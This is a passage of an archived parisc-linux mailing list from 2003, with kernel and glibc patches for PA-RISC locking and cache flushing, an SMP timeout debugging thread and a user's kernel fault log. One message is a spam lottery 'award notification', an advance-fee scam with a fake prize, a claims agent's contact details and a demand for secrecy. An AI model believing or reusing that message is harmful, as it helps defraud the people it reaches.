        }
        iobuf->nr_pages = err;
-       while (pgcount--) {
-               /* FIXME: flush superflous for rw==READ,
-                * probably wrong function for rw==WRITE
-                */
-               flush_dcache_page(iobuf->maplist[pgcount]);
-       }
+       flush_cache_range(mm, va, va + len);
        dprintk ("map_user_kiobuf: end OK\n");
        return 0;
 }

I deleted the comment because it's not correct ;-)  The kernel is about
to access these pages.  Any existing cache for the contents of those pages
must now be invalidated if the kernel's about to write to it, and must be
written back if the kernel's about to read from it.  flush_cache_range()
must already have these properties otherwise munmap() wouldn't work.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Thu, 25 Sep 2003 16:56:26 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3F5CC41F00008D27@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622804 31508 80.91.229.3 (22 Nov 2014 02:20:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 08:56:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44605489F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 08:56:28 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1A2XXf-0006p7-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 16:56:27 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 25 Sep 2003 16:56:26 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19598

Hi all,

Trying to continue investigation, I puted a printk at the begining of handle_interruption()
to get just the interruption's 'code' managed.

As already mentionned in previous mail that I could read many 6, 15 (but
it seems to be normal: e
en in UP kernel those interruption occurs) but
(most interesting) it is the very first time that I got the message making
failled the kernel:
[...]
handle_interruption(26, ...).
SMP CALL FUNCTION TIMED OUT (CPU=1)
handle_interruption(26, ...).



    Stack dump:

[...]

(unfortunately I couldn't grab this dump :( )

Could this be a pb with sync between cpu time ref? (because timeout = jiffies
+ HZ)

I have also a look for where this function is called but never see its return
code tested to launch a 'stack dump' and a stop of system?

Thanks in advance for help,
    Joel

PS: I don't know if it is important but the two cpus on this server are located
in slot 1 and 3 (not in slot 1 and 2 as we would logicaly expect) 



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Thu, 25 Sep 2003 08:41:37 -0700 (PDT)
Lines: 74
Approved: news@gmane.org
Message-ID: <20030925154137.8595.qmail@web12506.mail.yahoo.com>
References: <3F5CC41F00008D27@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1431430270-1064504497=:7659"
X-Trace: ger.gmane.org 1416622804 31513 80.91.229.3 (22 Nov 2014 02:20:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 09:41:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id 2262848A8
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 09:41:38 -0600 (MDT)
Original-Received: from [66.188.204.61] by web12506.mail.yahoo.com via HTTP; Thu, 25 Sep 2003 08:41:37 PDT
In-Reply-To: <3F5CC41F00008D27@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19599

--0-1431430270-1064504497=:7659
Content-Type: text/plain; charset=us-ascii

They are in the right slots...N Class CPU loading in order: 1,3,5,7,0,2,4,6.  If you are looking at the back of the machine with the rear cover open, the two cpus should be in the left two slot.  First memory carrier should be in the right most slot and loaded toward the left.  I should know since I just had to tear apart an entire N to upgrade it from 6 550Mhz cpus to 8 750Mhz cpus.  Takes about 3 hours and it requires a system board change.  The N has 3 system boards: an A, a B, and a C rev.  "A" is for 360-440.  "B" is for 360-550.  And the "C" is for the 650-750, but I'm sure it would accept all the processors slower than 650 too with the right speed setting on the dip switches.
 
derek


Joel Soete <soete.joel@tiscali.be> wrote:
Hi all,

Trying to continue investigation, I puted a printk at the begining of handle_interruption()
to get just the interruption's 'code' managed.

As already mentionned in previous mail that I could read many 6, 15 (but
it seems to be normal: e
en in UP kernel those interruption occurs) but
(most interesting) it is the very first time that I got the message making
failled the kernel:
[...]
handle_interruption(26, ...).
SMP CALL FUNCTION TIMED OUT (CPU=1)
handle_interruption(26, ...).



Stack dump:

[...]

(unfortunately I couldn't grab this dump :( )

Could this be a pb with sync between cpu time ref? (because timeout = jiffies
+ HZ)

I have also a look for where this function is called but never see its return
code tested to launch a 'stack dump' and a stop of system?

Thanks in advance for help,
Joel

PS: I don't know if it is important but the two cpus on this server are located
in slot 1 and 3 (not in slot 1 and 2 as we would logicaly expect) 



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
The New Yahoo! Shopping - with improved product search
--0-1431430270-1064504497=:7659
Content-Type: text/html; charset=us-ascii

<DIV>
<DIV>They are in the right slots...N Class CPU loading in order: 1,3,5,7,0,2,4,6.&nbsp; If you are looking at the back of the machine with the rear cover open, the two cpus should be in the left two slot.&nbsp; First memory carrier should be in the right most slot and loaded toward the left.&nbsp; I should know since I just had to tear apart an entire N to upgrade it from 6 550Mhz cpus to 8 750Mhz cpus.&nbsp; Takes about 3 hours and it requires&nbsp;a system board change.&nbsp; The N has 3 system boards: an A, a B, and a C rev.&nbsp; "A" is for 360-440.&nbsp; "B" is for 360-550.&nbsp; And the "C" is for the 650-750, but I'm sure it would accept all the processors slower than 650 too with the right speed setting on the dip switches.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><BR><B><I>Joel Soete &lt;soete.joel@tiscali.be&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE class=replbq style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Hi all,<BR><BR>Trying to continue investigation, I puted a printk at the begining of handle_interruption()<BR>to get just the interruption's 'code' managed.<BR><BR>As already mentionned in previous mail that I could read many 6, 15 (but<BR>it seems to be normal: e<BR>en in UP kernel those interruption occurs) but<BR>(most interesting) it is the very first time that I got the message making<BR>failled the kernel:<BR>[...]<BR>handle_interruption(26, ...).<BR>SMP CALL FUNCTION TIMED OUT (CPU=1)<BR>handle_interruption(26, ...).<BR><BR><BR><BR>Stack dump:<BR><BR>[...]<BR><BR>(unfortunately I couldn't grab this dump :( )<BR><BR>Could this be a pb with sync between cpu time ref? (because timeout =
  jiffies<BR>+ HZ)<BR><BR>I have also a look for where this function is called but never see its return<BR>code tested to launch a 'stack dump' and a stop of system?<BR><BR>Thanks in advance for
 help,<BR>Joel<BR><BR>PS: I don't know if it is important but the two cpus on this server are located<BR>in slot 1 and 3 (not in slot 1 and 2 as we would logicaly expect) <BR><BR><BR><BR>-------------------------------------------------------------------------<BR>L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro<BR>pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr <BR><BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE></DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://shopping.yahoo.com/?__yltc=s%3A150000443%2Cd%3A22708228%2Cslk%3Atext%2Csec%3Amail">The New Yahoo! Shopping</a> - with improved product search
--0-1431430270-1064504497=:7659--


From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: luckywins@survivormail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] final  award  notification.
Date: Thu, 25 Sep 2003 19:29:58 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20030925172957.7081448A7@dsl2.external.hp.com>
Reply-To: luckywins@survivormail.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622805 31516 80.91.229.3 (22 Nov 2014 02:20:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 11:29:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ordenado-3 (202.Red-81-34-139.pooles.rima-tde.net [81.34.139.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7081448A7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 11:29:57 -0600 (MDT)
X-Priority: 3
X-Library: Indy 9.0.3-B
X-Mailer: Foxmail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19600

           LOTTERY LA PRIMITIVA.
              C/GUZMAN EL BUENO,137 MADRID - ESPAA.
            TEL: +34-645-633-391 AND  FAX  +34-916-130-093.

FROM: THE DESK OF THE PROMOTIONS MANAGER,
INTERNATIONAL PROMOTIONS/PRIZE AWARD DEPARTMENT,
REF: LP/26510460037/02 BATCH: 24/00319/IPD.

ATTN:
                       ( CONGRATULATION)


DEAR SIR,
            "AWARD NOTIFICATION FINAL NOTICE."

We are pleased to inform you of the announcement, of winners of the
LOTTERY PRIMITIVA SWEEPSTAKES/INTERNATIONAL PROGRAMS held on 31TH JULY,2003.
Your name is attached to ticket number 004-05117963-198, with serial
number 99375 drew no 03/61,the winning numbers 06-11 -13-27-40-49, and
consequently won the lottery in the 6th category. You have therefore
been approved for a lump sum pay out of UROS 705.366,80 Thousand in
cash credited to file No:LP/26510460037/02.This is from total prize
money of EUROS 3,000,000.00 shared among the six  international winners
in this category. All participants were selected through a computer
ballot system drawn form 25,000 names from Australia, New Zealand,
America, Europe, North America and Asia as part of International
Promotions Program, which is conducted annually.

     CONGRATULATIONS!!! Your fund is now insured to your name. Due to
the mix up of some numbers and names, we ask that you keep this award
strictly from public notice until your claim has been processed and your
money remitted to your account. This is part of our security protocol
to avoid double claiming or unscrupulous acts by participants of this
program. We hope with a part of you prize, you will participate in our
end of year high stakes Euros1.1 billion International Lottery. To begin
your claim, please contact your claims agent, Mr NELSON CHRIS. .(+34 645 143 712) FOREIGN OPERATION MANAGERS, Email:  luckywins@survivormail.com):WEBSITE(www.thelotter.com).
   For due processing and remittance of your prize money to a
designated account with our bankers. Remember, all prize money must be
claimed not later than 20TH october, 2003. After this date, all funds
will be returned as unclaimed.

NOTE: In order to avoid unnecessary delays and complications, please remember to quote your reference and batch numbers in every  of your correspondences with your agent.
Furthermore, should there be any change of your address, do inform your
claims agent as soon as possible. Congratulations again from all our
staff and thank you for being part of our promotions programm.


( CONGRATULATION)


 BEST REGARDS,

DR. CLIFFORD F. LOPEZ.

(DIRECTOR EXTERNAL AFFAIRS)



From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Where to put arch-dependant locking in malloc/thread-m.h
Date: Thu, 25 Sep 2003 17:15:09 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <20030925211509.GY14406__12463.621228426$1416622805$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622805 31519 80.91.229.3 (22 Nov 2014 02:20:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-alpha <libc-alpha@sources.redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 15:17:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E68448A1
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 15:17:37 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A2dS9-0003pu-00; Thu, 25 Sep 2003 17:15:09 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (55% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19601

libc,

Found the problem with bug-iconv3, it was related to the fact that
hppa's locks can't be initialized to zero (or left unitialized). When
running a non-threaded application and dlopening libpthread the
__libc_maybe_call2's start using the proper strong symbol of those
funcions. At this point malloc on hppa would in certain occassions
fget stuck in a lock that it thought was taken (value of zero).

The following patch fixes the issue, but I'm not content about it's
placement in malloc/thread-m.h. Any comments about where I might put
this in order to make maintenance easier?

Cheers,
Carlos.

diff -u -p -r1.23 thread-m.h
--- glibc/malloc/thread-m.h	1 Jul 2003 08:29:43 -0000	1.23
+++ glibc/malloc/thread-m.h	25 Sep 2003 20:43:55 -0000
@@ -59,6 +59,28 @@ __libc_lock_define (typedef, mutex_t)
 #define mutex_unlock(m)		\
   __libc_maybe_call2 (pthread_mutex_unlock, (m), (*(int *)(m) = 0))
 
+# if(defined __hppa__)
+/* Since our lock structure does not tolerate being initialized to zero, we must
+   modify the standard function calls made by malloc */
+#  undef mutex_init
+#  undef mutex_lock
+#  undef mutex_trylock
+#  undef mutex_unlock
+#  define mutex_init(m)		\
+	__libc_maybe_call (__pthread_mutex_init, (m, NULL), \
+			(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT),(*(int *)(m))) )
+#  define mutex_lock(m)		\
+	__libc_maybe_call (__pthread_mutex_lock, (m), \
+			(__load_and_clear(&((m)->__m_lock.__spinlock)), 0))
+#  define mutex_trylock(m)	\
+	__libc_maybe_call (__pthread_mutex_trylock, (m), \
+			(*(int *)(m) ? 1 : (__load_and_clear(&((m)->__m_lock.__spinlock)), 0)))
+#  define mutex_unlock(m)	\
+	__libc_maybe_call (__pthread_mutex_unlock, (m), \
+			(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT), (*(int *)(m))) )
+# endif 
+/* if(defined __hppa__) */
+	
 #else
 
 #define mutex_init(m)		\


From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Thu, 25 Sep 2003 17:35:00 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20030925233500.GA18861@dsl2.external.hp.com>
References: <3F5CC41F00008D27@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622805 31522 80.91.229.3 (22 Nov 2014 02:20:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 17:35:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1B753483E; Thu, 25 Sep 2003 17:35:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F5CC41F00008D27@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19602

On Thu, Sep 25, 2003 at 04:56:26PM +0200, Joel Soete wrote:
...
> As already mentionned in previous mail that I could read many 6, 15 (but
> it seems to be normal in UP kernel those interruption occurs)


Yes - 6 is ITLB miss and 15 is Data TLB miss.

> but (most interesting) it is the very first time that I got
> the message making failed the kernel:
> [...]
> handle_interruption(26, ...).

26 is "Data Memory Access rights Trap".
This sounds normal for Copy-On-Write.

> SMP CALL FUNCTION TIMED OUT (CPU=1)

The IPI handler will time out if the other CPU doesn't ack
the function call with in a second. This is bad.
It means either other CPU never got the interrupt (locked up
with I-bit off) or the "unstarted_count" isn't coherent
between the CPUs.

> handle_interruption(26, ...).
>
> Could this be a pb with sync between cpu time ref?
> (because timeout = jiffies + HZ)

I don't think so since jiffies is a global.
And it's always be measured on the same CPU.

> I have also a look for where this function is called but never see its return
> code tested to launch a 'stack dump' and a stop of system?

You need to find out who is using smp_call_function() and which function
they are trying to invoke. I suspect it's coming from mm/slab.c but
would know which of the three it might be.

grant


From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mlist@zinkens.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel error message.
Date: Fri, 26 Sep 2003 01:39:34 +0200 (CEST)
Lines: 45
Approved: news@gmane.org
Message-ID: <35989.192.168.66.99.1064533174.squirrel@www.zinkens.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622806 31524 80.91.229.3 (22 Nov 2014 02:20:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:06 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 17:40:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from quasimodo.zinkens.net (as17-5-3.bi.s.bonet.se [217.215.178.76])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CE9F483E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 17:40:15 -0600 (MDT)
Original-Received: from zinkens.net (quasimodo.zinkens.net [192.168.66.111])
	(authenticated bits=0)
	by quasimodo.zinkens.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id h8PNdXSY031874
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 01:39:34 +0200
Original-Received: from 192.168.66.99
        (SquirrelMail authenticated user jonas)
        by www.zinkens.net with HTTP;
        Fri, 26 Sep 2003 01:39:34 +0200 (CEST)
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
X-Mailer: SquirrelMail (version 1.2.6)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19603

i keep getting about ten a day of these messages in the /var/log/kern.log
file. can anyone tell me whats going on, and point me in the right
direction  to fix it? thanks.
some info on my hard/software:

quasimodo:/# uname -a
Linux quasimodo 2.4.20-64 #1 Sun Feb 23 18:50:45 CET 2003 parisc64 unknown

quasimodo:/# cat /etc/debian_version
3.0

quasimodo:/# apache -v -V
Server version: Apache/1.3.26 (Unix) Debian GNU/Linux
Server built:   Oct 26 2002 09:15:53


and the log-message:

Sep 23 16:14:14 quasimodo kernel: do_page_fault() pid=6089
command='apache' type=15 address=0x00000008Sep 23 16:14:14 quasimodo kernel:
Sep 23 16:14:14 quasimodo kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Sep 23 16:14:14 quasimodo kernel: PSW: 00000000000001101111111100001111
Not taintedSep 23 16:14:14 quasimodo kernel: r00-03  0000000000000000
00000000404c36c7 0000000040515d67 0000000311528cbaSep 23 16:14:14 quasimodo kernel: r04-07  00000000405ee948
0000000000182bd0 0000000000000009 0000000000182bd9Sep 23 16:14:14 quasimodo kernel: r08-11  00000000001f4a00
00000000405ee948 00000000faf03590 00000000faf034c8Sep 23 16:14:14 quasimodo kernel: r12-15  0000000000000008
00000000000689f0 0000000060000000 00000000000629f0Sep 23 16:14:14 quasimodo kernel: r16-19  00000000000629f0
00000000000000c8 00000000000699f0 00000000405ee948Sep 23 16:14:14 quasimodo kernel: r20-23  0000000000000002
0000000000000000 0000000000182bd9 00000000faf03590Sep 23 16:14:14 quasimodo kernel: r24-27  0000000000000009
0000000000182bd0 00000000001f4a00 00000000000629f0Sep 23 16:14:14 quasimodo kernel: r28-31  0000000000000003
00000000405f3948 00000000faf036c0 000000004049b817Sep 23 16:14:14 quasimodo kernel: sr0-3   0000000000000f00
0000000000000f00 0000000000000000 0000000000000f00Sep 23 16:14:14 quasimodo kernel: sr4-7   0000000000000f00
0000000000000f00 0000000000000f00 0000000000000f00Sep 23 16:14:14 quasimodo kernel:
Sep 23 16:14:14 quasimodo kernel: IASQ: 0000000000000f00 0000000000000f00
IAOQ: 00000000404c3caf 00000000404c3cb3Sep 23 16:14:14 quasimodo kernel:  IIR: 0eb42084    ISR: 0000000000000f00 
IOR: 0000000000000008Sep 23 16:14:14 quasimodo kernel:  CPU:        0   CR30: 0000000017dbc000
CR31: 0000000010508000Sep 23 16:14:14 quasimodo kernel:  ORIG_R28: 0000000040307254









From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Thu, 25 Sep 2003 18:08:48 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030925180848.2763911b.davem@redhat.com>
References: <20030925105005.GX16872@tausq.org>
	<000801c38356$dea5cda0$e5624c0f@india.hp.com>
	<20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622806 31528 80.91.229.3 (22 Nov 2014 02:20:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:06 +0000 (UTC)
Cc: santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org, sct@redhat.com
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 19:22:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC0554843
